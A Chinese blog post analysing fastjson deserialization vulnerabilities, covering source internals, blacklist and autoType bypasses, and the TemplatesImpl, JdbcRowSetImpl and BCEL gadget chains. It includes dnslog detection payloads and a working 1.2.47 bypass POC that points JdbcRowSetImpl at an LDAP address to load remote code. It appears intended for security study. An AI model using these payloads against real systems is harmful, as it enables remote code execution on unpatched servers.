美文网首页
反序列化漏洞—fastjson(上)

反序列化漏洞—fastjson(上)

作者: AxisX | 来源:发表于2022-02-23 14:31 被阅读0次

好久没更新文章了,去年学习了一些东西,都没来得及认真整理。最近在改内存马,就顺便重新整理了一下反序列化的内容,希望陆陆续续写出来。fastjson漏洞从1.2.24到后来的70+版本,先从源码逻辑上看一看1.2.24

读完第一部分源码分析阶段的内容,可以发现fastjson通过parseObject()parse()方法会对传入的字符串进行反序列化操作。首先进行词法分析,根据symbol(@type、$ref)的不同也有不同的解析机制。如果传入的是@type,就根据其寻找指定的类,并根据传入的字段加载相应的setter和getter方法。两种方法的加载都有一定的限制,在源码分析部分都有提到。

简单来说,fastjson反序列化就是根据指定的类和类中的字段执行对应的setter和getter方法。那么在调用链构造时,和原生反序列化(CC链)有很大不同,fastjson只需要找一个类。该类需要触发的恶意方法叫setXXX或getXXX。这部分在第二部分链条分析中都有提到。

fastjson反序列化出现好几年了,中间也有多次修复和黑名单绕过。最开始对1.2.24的修复是加了黑名单,但是本身类加载loadClass的逻辑存在一定的问题,可以在恶意类名前面加了一个L,后面加一个;来绕过黑名单的限制。后来还有双写L的绕过,但是这类方式需要开启AutoType检测。1.2.47版本是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存来绕过AutoType的检测。这在源码分析的Q1中有提到。后续版本中也出现过各式各样需要开启AutoType的链条,利用的恶意类不同,大致有如下这些。直到1.2.68出现了一种无需开启AutoType的方法,利用不在黑名单中的expectClass类的子类或实现类java.lang.AutoCloseable

// JNDI
com.zaxxer.hikari.HikariConfig -> metricRegistry | healthCheckRegistry
oracle.jdbc.connector.OracleManagedConnectionFactory -> xaDataSourceName
org.apache.commons.configuration.JNDIConfiguration -> prefix
org.apache.commons.proxy.provider.remoting.SessionBeanProvider -> jndiName
org.apache.xbean.propertyeditor.JndiConverter -> AsText
org.apache.cocoon.components.slide.impl.JMSContentInterceptor -> parameters
org.apache.shiro.jndi.JndiObjectFactory -> resourceName
org.apache.shiro.realm.jndi.JndiRealmFactory -> jndiNames
br.com.anteros.dbcp.AnterosDBCPConfig -> metricRegistry | healthCheckRegistry
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup -> jndiNames
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig -> properties
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup -> jndiNames
org.apache.shiro.jndi.JndiObjectFactory -> resourceName

源码分析

源码分析主要分为以下四部分:
(1)词法分析—JSONLexerBase
(2)字符串反序列化流程—DefaultJSONParser.parseObject
(3)类加载—TypeUtils.loadClass
(4)Deserializer获取—方法限制

(1)词法分析—JSONLexerBase
词法分析也叫分词 ,将其字符流分割成一个个的词,也叫token(记号)。fastjson的token定义在JSONToken中,挑选了部分展示如下:

public class JSONToken {
    // 4 代表 string
    public final static int LITERAL_STRING = 4;
    // 8 代表 null
    public final static int NULL  = 8;
    // 10 代表 ( 
    public final static int LPAREN = 10;
    // 12 代表 { 
    public final static int LBRACE = 12;
    // 14 代表 [ 
    public final static int LBRACKET = 14;
    // 16 代表 , 
    public final static int COMMA = 16;
    // 17 代表 : 
    public final static int COLON = 17;
    // 19 代表 fieldName
    public final static int FIELD_NAME = 19;
    ...

Token解析的方法主要存在于JSONLexerBase中,字段主要代表字符(如字符ch)或字符的位置(如posbp、下一个字符位置sp、token首字母位置np),方法主要包括对不同类型数据的扫描,如scanStringscanFieldSymbol等。
在反序列化中经常用到该类中的scanSymbol方法,不断通过.next()获取下一位字符,直到当前字符等于quote(引号),然后取出两个引号间的内容。

(2)字符串反序列化流程—DefaultJSONParser.parseObject
反序列化时,根据{ }这样的token来获取要进行解析的内容,并且当前字符为引号时,通过scanSymbol方法截取到下一个引号间的内容赋值为key,如果key等于@type,就再次通过scanSymbol方法截取@type后面的内容得到类名,然后对类进行加载loadClass,选取对应的Deserializer进行反序列化。

public final Object parseObject(Map object, Object fieldName) {
        JSONLexer lexer = this.lexer;
        // 此处省略lexer的判断,值为8或13,token扫描下一个,不等于12( '{' )或16( '[' )就抛出异常,等于{或[就进入else分支
        if (ch == '"') {
            // 取出symbolTable的@type赋值给key
            key = lexer.scanSymbol(this.symbolTable, '"'); 
            lexer.skipWhitespace();
            ch = lexer.getCurrent();
                        if (ch != ':') {
                            throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                        }
                    }
        //   如果key等于@type
        if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
            // 取出key后面引号中的内容
            ref = lexer.scanSymbol(this.symbolTable, '"'); 
            // 对取出的内容当作类名进行加载
            Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
            // 选取Deserilizer
            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            // 进行反序列化
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;

(3)类加载—TypeUtils.loadClass

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
               ...
                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } ...

loadClass的流程很易读,从mappings中根据className寻找对应的类,mappings存储了很多基础类型的类如int、long、HashMap等。如果没在mappings中找到,就根据类名来加载。对于类名会进行两种判断。是否以[开头或者是否以L开头;结尾。这个也是在官方出了类加载的黑名单之后绕过方式的突破点。类加载完成后和className绑定放入mappings。也就是所有loadClass过的类都可以在mappings中找到。这个也是后期用java.lang.Class绕过黑名单的原因。

Q1:loadClass的逻辑为何能绕黑名单?
在1.2.24版本出现漏洞之后,官方在ParseConfig中的denyList属性中增加了很多类,RMI、BCEL、Transformer等常用类均被加入到了很名单。另外,ParseConfig增加了checkAutoType方法。

    private ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader) {
        ...
        this.autoTypeSupport = AUTO_SUPPORT;
        this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
        this.acceptList = AUTO_TYPE_ACCEPT_LIST;

checkAutoType方法在第三部分中有具体提到。此处只借着loadClass的代码说一下为什么会有黑名单的绕过。
在loadClass的第二个else if中判断className是否以L开头并且以;结尾,如果是的话就截取其中的内容。而1.2.24修复采取黑名单机制是先判断类名,类名不在黑名单中就用loadClass来加载类。这样就可以在黑名单的类名中加入L;绕过第一步黑名单判断,走到loadClass中经过截取处理得到正常的类进行加载。(但是这种方式需要开启autoTypeSupport,见第三部分)

(4)Deserializer获取
Deserializer获取过程被我进行了一些逻辑简化,删除了部分代码,只讲主要逻辑。fastjson会通过getDeserializer方法根据传入的类寻找相应的Deserializer,基础类型已经有了内置对应的,但是自定义的类往往就会通过createJavaBeanDeserializer方法来创建相应的Deserializer。该方法最终调用的是JavaBeanInfo.build

 // ParserConfig.getDeserializer
public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
        ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
        if (derializer == null) {
            String className = clazz.getName();
            className = className.replace('$', '.');
            // 判断类是否在黑名单中
            for(int i = 0; i < this.denyList.length; ++i) {
                 String deny = this.denyList[i];
                 if (className.startsWith(deny)) {
                    throw new JSONException("parser deny : " + className);
                 }
           }
          //判断className是否为java.xxx.开头,略
          if (derializer == null) {
              // 对要进行反序列化的clazz进行类型判断,是否为基础类型Enum、Array、Collection、Map、Throwable等,如果是就调用对应的Deserializer,略
            //  如果不是基础类型,就创建一个JavaBeanDeserializer
            derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}

 // ParserConfig.createJavaBeanDeserializer
public ObjectDeserializer createJavaBeanDeserializer(Class<?> clazz, Type type) {
        JavaBeanInfo beanInfo;
        beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
        ...
}  

 // JavaBeanInfo.build
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
        //   反射获取了clazz的信息,字段、方法、默认构造方法等
        Class<?> builderClass = getBuilderClass(jsonType);
        Field[] declaredFields = clazz.getDeclaredFields();
        Method[] methods = clazz.getMethods(); //包含类自定义方法和toString、hashCode、getClass、notify、notifyAll、equals、wait等方法
        Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
       if (defaultConstructor != null) {
           TypeUtils.setAccessible(defaultConstructor);
       }

      for(i = 0; i < var29; ++i) { //对类中的methods进行遍历
          method = var30[i];
          String methodName = method.getName();
          // 方法名称长度大于4,不是static的,返回类型为void或该Class类型
          if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { 
              Class<?>[] types = method.getParameterTypes();
              // 参数数量为1
              if (types.length == 1) {...} 
              //  如果方法名是set开头
              if (methodName.startsWith("set")) {
                      char c3 = methodName.charAt(3);
                      String propertyName;
                      if (!Character.isUpperCase(c3) && c3 <= 512) {...}
                      else if (TypeUtils.compatibleWithJavaBean) {
                          propertyName = TypeUtils.decapitalize(methodName.substring(3));
                       } 
                      else {
                           //截取set后的内容,并将首字母转为小写
                          propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4); 
                       }
                      // 将截取的set后的内容与clazz本身具有的field做循环比较,如果能匹配上就返回field
                      Field field = TypeUtils.getField(clazz, propertyName, declaredFields); 
                       if (field == null && types[0] == Boolean.TYPE) {
                           isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
                           field = TypeUtils.getField(clazz, isFieldName, declaredFields);
                      }

        for(i = 0; i < var29; ++i) {
            method = var30[i];
            String methodName = method.getName();
             // 方法名称长度大于4,不是static的,以get开头,第四个字符为大写,没有参数,返回类型为Collection | Map | AtomicBoolean | AtomicInteger | AtomicLong
            if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {...}

Q2:setter、getter方法的调用。从JavaBeanInfo.build中可以看出fastjson对反序列化的方法上有要求的。无论是setter、getter还是is,都应该方法名长度大于4,并且不是static的。如果是setter方法返回类型要为void或者为当前类,参数个数为1。如果是getter方法,第四个字母大写,无参数,并且返回值类型继承自Collection、Map、AtomicBoolean、AtomicInteger或AtomicLong。

fastjson根据field通过匹配get或set方法来实现反序列化。但是parse和parseObject有一点区别。JSON.parse("")反序列化会得到特定的类,与JSON.parseObject("",XX.class)效果类似(按照上述getter规范调用)。而JSON.parseObject("")返回的是JSONObject类型的对象(调用全部getter)。

Q3:设置Feature.SupportNonPublicField对于没有set方法的private属性可以在反序列化时完成赋值。原因是在反序列化调用deserialize时,有一个parseField的方法。

// JavaBeanDeserializer.deserialize
boolean match = this.parseField(parser, key, object, type, fieldValues);

JavaBeanDeserializer.parseField大体内容如下

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer;
        // smartMatch方法是field和method的匹配规则,去掉field前的_和-,并忽略大小写
        FieldDeserializer fieldDeserializer = this.smartMatch(key);
        // 设置了Feature.SupportNonPublicField 会通过if判断
        int mask = Feature.SupportNonPublicField.mask;
        if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
            if (this.extraFieldDeserializers == null) {
                ...
                extraFieldDeserializers.put(fieldName, field);
        }
        Object deserOrField = this.extraFieldDeserializers.get(key);
            if (deserOrField != null) {
                ... 
                // 从而反射更改属性的访问权限
                Field field = (Field)deserOrField;
                field.setAccessible(true);

后续会调用DefaultFieldDeserializer.parseField对该private属性的field进行解析获取反序列化时的值。并在parseField方法的最后有一行this.setValue(object, value);,对象的属性得以赋值。

链条分析

常见的链条主要分为三类:TemplatesImpl、BCEL(BasicDataSource)、JNDI(JdbcRowSetImpl等)。JNDI的链条很多,在文章的最初也列了一些。

(1)Templateslmpl
这个链条在CommonsBeautils和7u21中都有用到,这里就不讲具体原理了。调用链如下,入口点恰恰就是get开头的方法。通过@type指定类为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl.getOutputProperties() //由_outputProperties属性触发
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance() //要求_name!=null
      TemplatesImpl.defineTransletClasses() //要求_tfactory!=null
        ClassLoader.defineClass() //构造_bytecodes为恶意类
          Class.newInstance()

该类中包含的部分属性如下,按照fastjson的逻辑,如果反序列化中对_outputProperties进行了赋值,就会自动调用getOutputProperties方法,触发利用链。

    private String _name = null;
    private byte[][] _bytecodes = null;
    private Class[] _class = null;
    private Properties _outputProperties;

如果是private的且没有set方法的,fastjson想要对其赋值,需要在parseObject中设置Feature.SupportNonPublicField,这在实际开发场景中较难遇到,所以都认为这条利用链有些鸡肋。

(2)JdbcRowSetImpl
调用链:setAutoCommit() -> connect() -> InitialContext.lookup(),入口为set开头的方法。

    public void setAutoCommit(boolean var1) throws SQLException { //fastjson想调用此方法需要设置autoCommit
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
    }

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                // dataSourceName 传入JNDI地址
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); 
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } ...
        }
    }

JdbcRowSetImpl类扩展了JdbcRowSet接口,该接口中定义setAutoCommit的参数为boolean autoCommit,按照fastjson的逻辑,如果赋值autoCommit属性,就会调用setAutoCommit或getAutoCommit。dataSourceName需要传入JNDI地址。由于攻击方式为JNDI,所以应用场景要求能出网。

(3)BCEL—BasicDataSource
调用链如下

BasicDataSource.getConnection()
    createDataSource()
        createConnectionFactory()
             Class.forName() //第二个参数initial为true时,对类加载的同时进行初始化(加载static代码)

具体方法如下

    public Connection getConnection() throws SQLException {
        return this.createDataSource().getConnection();
    }
    protected synchronized DataSource createDataSource() throws SQLException {
        if (this.closed) {
            throw new SQLException("Data source is closed");
        } else if (this.dataSource != null) { //dataSource赋值为null
            return this.dataSource;
        } else {
            ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
            this.createConnectionPool();
            ...
    } 

    protected ConnectionFactory createConnectionFactory() throws SQLException {
        Class driverFromCCL = null;
        String user;
        if (this.driverClassName != null) {
            try {
                try {
                    //driverClassName赋值恶意类
                    if (this.driverClassLoader == null) {
                        Class.forName(this.driverClassName); 
                    } else {
                        Class.forName(this.driverClassName, true, this.driverClassLoader); 
                    }
                } ...

目标应用中很难找到恶意类,这时就考虑到BCEL类加载器,该加载器会从字符串中读取类信息。也就是将driverClassName设定为com.sun.org.apache.bcel.internal.util.ClassLoader类,driverClassName设定为BCEL字符串。

黑名单绕过—checkAutoType

在1.2.25版本开始,ParseConfig类中增加了checkAutoType方法,并且在DefaultJSONParser.parseObject方法中,判断到key为@type后,通过checkAutoType对类进行检查

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)){
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
    ...
}

checkAutoType的大致逻辑如下

// ParseConfig.checkAutoType
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    // 如果开启了autoTypeSupport 或expectClass不为null
    if (this.autoTypeSupport || expectClass != null) {
         // 白名单循环,如果在白名单中就loadClass
         for(i = 0; i < this.acceptList.length; ++i) { loadClass()}
         // 黑名单循环,如果在黑名单中就抛出异常
         for(i = 0; i < this.denyList.length; ++i) { throw new JSONException("autoType is not support. "...)}
    //  如果不满足第一个if, 就从Mapping中寻找类
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    // 如果在mapping中没找到,再从deserializers中寻找
    if (clazz == null) {
        clazz = this.deserializers.findClass(typeName);
    }
    ...
    // 如果还没找到,并且autoTypeSupport没开启
     if (!this.autoTypeSupport) {
        for(i = 0; i < this.denyList.length; ++i) {
            // 如果findClass出来的类在黑名单中,抛出异常
            throw new JSONException("autoType is not support. " + typeName);}
        for(i = 0; i < this.acceptList.length; ++i) {
            // 如果findClass出来的类在acceptList中,loadClass
           clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
     // 如果autoTypeSupport开启了或者expectClass!=null
     if (this.autoTypeSupport || expectClass != null) {
         clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
     }
     if (clazz != null) {
        // clazz 不能是ClassLoader或DataSource类的,否则抛出异常,
      if (expectClass != null) {
          if (expectClass.isAssignableFrom(clazz)) {
              return clazz;
          }
       } 

(1)autoType 开启的情况下,进行黑白名单检测。通过白名单就返回用户指定的类,符合黑名单就抛出异常。所以就有了Q1中提到的,开启autoType在类名前加L等绕过黑名单的方式。
(2)autoType 未开启的情况下,通过 clazz = TypeUtils.getClassFromMapping(typeName);获取类, typeName 为 @type 里指定的类。如果能在Mappings缓存中找到指定的类就直接返回类对象。
(3)如果Mappings中找不到,就通过clazz = this.deserializers.findClass(typeName);去获取类。

findClass的代码如下:

// IdentityHashMap
public Class findClass(String keyString) {
    IdentityHashMap.Entry[] var2 = this.buckets;
    int var3 = var2.length;
    for(int var4 = 0; var4 < var3; ++var4) {
        IdentityHashMap.Entry bucket = var2[var4];
        if (bucket != null) {
        for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
            Object key = bucket.key;
            if (key instanceof Class) {
                Class clazz = (Class)key;
                String className = clazz.getName();
                if (className.equals(keyString)) {
                    return clazz;
...
        }
    return null;
}

整体逻辑非常简单,buckets 数组内置了一些基础的类。如果传入的类和数组中的key代表的类一致就返回类。查看buckets数组的key,选取其中的部分值粘贴如下(带*号的为常见POC中用到的类)

class java.util.Map
class java.util.TreeMap
interface java.lang.Comparable
class java.lang.Byte
class java.net.URL
class java.lang.StringBuffer
interface java.lang.Cloneable
class java.net.Inet6Address // * 
class com.alibaba.fastjson.JSONArray
class java.net.InetSocketAddress
class java.lang.StackTraceElement
class java.util.regex.Pattern
class java.lang.Character
class java.io.File
class java.net.InetAddress // *
class java.lang.StringBuilder
class com.alibaba.fastjson.JSONObject // *
class java.lang.Object
class java.net.Inet4Address // *
class java.lang.Class // *
class java.lang.Boolean
interface java.io.Closeable
class com.alibaba.fastjson.JSONPath
class java.util.HashMap
interface java.util.concurrent.ConcurrentMap
interface java.io.Serializable

这些key解决了几个点:
a. fastjson检测。一般采用如下的调用链,关键类都来自于上述key,绕过了黑名单

{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetAddress","val":"dnslog"}
"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}

b. 1.2.47以下版本的POC。该POC采取key中的java.lang.Class与上述链条(JdbcRowSetImpl、C3P0、BasicDataSource)相结合的方式将要用到类加载到Mappings中,然后通过getClassFromMapping获取类,来绕过checkAutoType黑名单检测。值得一提的是上述key代表的类在反序列化时对应的Deserializer为MiscCodec类。

以java.lang.Class与JdbcRowSetImpl结合的POC为例。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

参考(2)字符串反序列化流程可以知道,如果传入的类是java.lang.Class,选取deserilizer得到MiscCodec,由MiscCodec类的deserialze方法对其进行反序列化解析。该方法中会对key对应的clazz进行判断,然后选取不同的方法。java.lang.Class对应的方法为loadClass,如下代码所示。loadClass的参数即为传入的JdbcRowSetImpl类。这样缓存中就加载过JdbcRowSetImpl类了,在第二段代码执行时即可从Mapping中找到,绕过黑名单

// MiscCodec.deserialze()
strVal = (String)objVal;
if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

Class结合的POC很多,都是Mapping加载和调用链的结合,不再多说。
但是需要解释一下,有些POC中还加入了"@type":"com.alibaba.fastjson.JSONObject",表示整个对象的类型为JSONObject,如果反序列化时key是JSONObject的,那么会具体执行对象的getter方法,这样能够执行到POC最内层的类的getter方法。

最后关于fastjson的payload可以看这个集合:
https://github.com/safe6Sec/Fastjson

相关文章

网友评论

      本文标题:反序列化漏洞—fastjson(上)

      本文链接:https://www.haomeiwen.com/subject/pbcglrtx.html